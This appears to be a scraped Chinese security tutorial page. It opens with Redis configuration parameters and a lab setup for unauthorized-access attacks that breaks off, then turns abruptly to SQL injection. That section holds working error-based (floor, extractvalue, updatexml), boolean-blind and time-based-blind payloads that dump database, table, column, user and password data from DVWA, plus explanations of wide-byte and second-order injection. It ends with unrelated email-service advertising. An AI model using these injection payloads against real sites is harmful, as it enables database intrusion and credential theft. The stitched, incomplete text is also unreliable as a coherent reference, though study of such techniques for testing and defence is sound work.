格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind参数
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
save参数
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如: save 900 1 save 300 10 save 60 10000 表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass参数
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir参数
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename参数
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config命令
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode参数
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
攻击机 | Kali(192.168.33.131) |
目标机 | Ubantu 16(192.168.33.133) |
利用原理:
Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.
RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照
AOF 持久化记录服务器执行的所有写操作命令.
经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.
RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.
靶机:unbantu 16
为快速复现,默认apt-get安装 先进行更新 sudo apt-get upgrade 安装 sudo apt-get install redis-server 默认安装到 /usr/bin/redis-server 直接启动服务就可以执行redis-server或者redis-server+(配置文件目录) 注意要将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。 还需要关闭防火墙,具体命令:sudo ufw disable 查看防火墙状态:sudo ufw status
通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的。
注入流程
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x# 判断是否存在报错注入
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#④爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x# 爆出user和password
extractvalue()函数原理:此函数从目标XML中返回包含所查询值的字符串语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称第二个参数:xpath_string(xpath格式的字符串)extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+爆表 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+爆字段 ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+爆数据
原理:updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
注入流程
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+暴库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database(),0x7e)),1) -- 爆表 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users',0x7e)),1) --+爆字段 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users,0x7e)),1)--+爆数据
原理没啥可说的,就是通过布尔语句判断页面的回显状态
在布尔型注入中,正确会回显,错误没有回显,可以通过and 1=1 和and 1=2 来判断回显状态。
and length(database())=8 判断数据库长度 然后按长度来爆破每个字母
and substr((select database()),1,1)='s' 判断数据库名字 可以通过substr函数来定位字母,依次爆破
and (select count(table_name) from information_schema.tables where table_schema=database())=2# 判断数据库中有多少个表 知道有多少个表之后才能对每个表进行爆破
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9#判断第一个表的长度 //第二个表依次类推 判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#判断第一个表的名字 //第二个表名依次类推 判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表 通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and (select count(column_name) from information_schema.columns where table_name='users')=14# 成功判断第一个表中列数 //第二个表的列依次类推 爆列和爆表的意义都一样啦
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#判断第一个表第一个列的长度 第二列依次类推
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97#判断第一个表第一列的名字 //第二个表的列名依次类推
and (select length(user) from users where user_id=1)=5# 爆出需要字段的长度
and ascii(substr((select user from users limit 0,1),1,1))=97# 爆出字段的数据的第一个字母
原理:其实就是看页面状态的回显,最重要的一个关键字是sleep()时间盲注就是在布尔的基础上加个判断语句if 和sleep() 若为正确,则执行sleep 不正确,则值不存在
and if(length(database())=8,sleep(3),1) 判断数据库长度 然后按长度来爆破每个字母
and if(substr((select database()),1,1)='s',sleep(3),1) 判断数据库名字 可以通过substr函数来定位字母,依次爆破
and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)# 判断数据库中有多少个表 知道有多少个表之后才能对每个表进行爆破
and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)#判断第一个表的长度 //第二个表依次类推 判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(3),1)#判断第一个表的名字 //第二个表名依次类推 判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表 通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and if((select count(column_name) from information_schema.columns where table_name='users')=14,sleep(3),1)# 成功判断第一个表中列数 //第二个表的列依次类推 爆列和爆表的意义都一样啦
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(3),1)#判断第一个表第一个列的长度 第二列依次类推
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97,sleep(3),1)#判断第一个表第一列的名字 //第二个表的列名依次类推
and if((select length(user) from users where user_id=1)=5,sleep(3),1)# 爆出需要字段的长度
and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(3),1)# 爆出字段的数据的第一个字母
宽字节注入产生的原理
宽字节注⼊源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从⽽导致的注⼊漏洞。具体原理如下:1,正常情况下当GPC开启或使⽤addslashes函数过滤GET或POST提交的参数时,⿊客使⽤的单引号'就会被转义为: ';2,但如果存在宽字节注⼊,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询前由于使⽤了GBK多字节编码,即在汉字编码范围内两个字节会被编码为⼀个汉字。然后MySQL服务器会对查询语句进⾏GBK编码即%df%5c转换成了汉字“運”,⽽单引号逃逸了出来,从⽽造成了注⼊漏洞。GBK编码导致宽字节注⼊
GBK编码是数据库编码,跟前台的编码⽆关GBK转UTF-8
原理其实跟前⾯⾥原理⾥说的第2条是⼀样的,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引号逃脱出来。UTF-8转GBK
这⾥我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c,⽽上⾯提到过反斜杠\正好为%5c。所以如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
合作企业
行业和类目
服务响应
垃圾拦截率
连续多年获得网易优秀经销商
一心一意专心致力于企业邮箱
满足企业信息化个性需求
一对一邮箱顾问服务